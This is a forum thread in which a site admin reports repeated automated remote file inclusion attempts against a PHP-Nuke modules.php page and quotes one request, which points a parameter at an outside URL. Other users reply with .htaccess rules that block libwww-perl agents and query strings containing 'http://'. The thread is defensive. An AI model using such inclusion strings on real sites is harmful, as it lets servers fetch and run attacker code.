Hacker not giving up

Sergeant Joined: Dec 01, 2003 Posts: 149

I'd like to know if anyone else is getting hit by some hacker or automated string that looks like this:

Code:

www.kodetech.com/nukea/modules.php?name=http://rumusic.chat.ru/rumusic.wav?

Sentinal has been blocking each ip used. I would like to block a range to put a stop to this but, each time it attacks it comes back with a completely different IP number outside the range it was using previously. Just today I've gotton hit 15 times.

Is there a way to stop this through .htaccess?

Any help would be appreciated.
Michael

Site Admin Joined: Aug 17, 2003 Posts: 12383

It is an automated bot. These botnets use many compromised servers, so they are impossible to completely block.

If you haven't yet, disable libwwwperl by writing this in .htaccess

Code:

RewriteCond %{HTTP_USER_AGENT} ^libwww-perl [NC]
RewriteRule ^.*$ http://127.0.0.1/ [R,L]

That will stop most of them. Those that don't use libwww-perl, you'll still have to have Sentinel stop them

Captain Joined: Sep 13, 2003 Posts: 303

I use in addition to the above I have this in .htaccess:

RewriteEngine on

RewriteCond %{QUERY_STRING} .*http:\/\/.*
Rewriterule ^.* - [F]

This takes: =http:\\ in the query string and have not disturbed my site after two months test.

Sergeant Joined: Dec 01, 2003 Posts: 149

Thanks to both of you. I've initiated both into my .htaccess file and will let you know how it turns out. Since posting this last night I've recieved an additional six more hits. Thanks to sentinal it's doing it's job.

Michael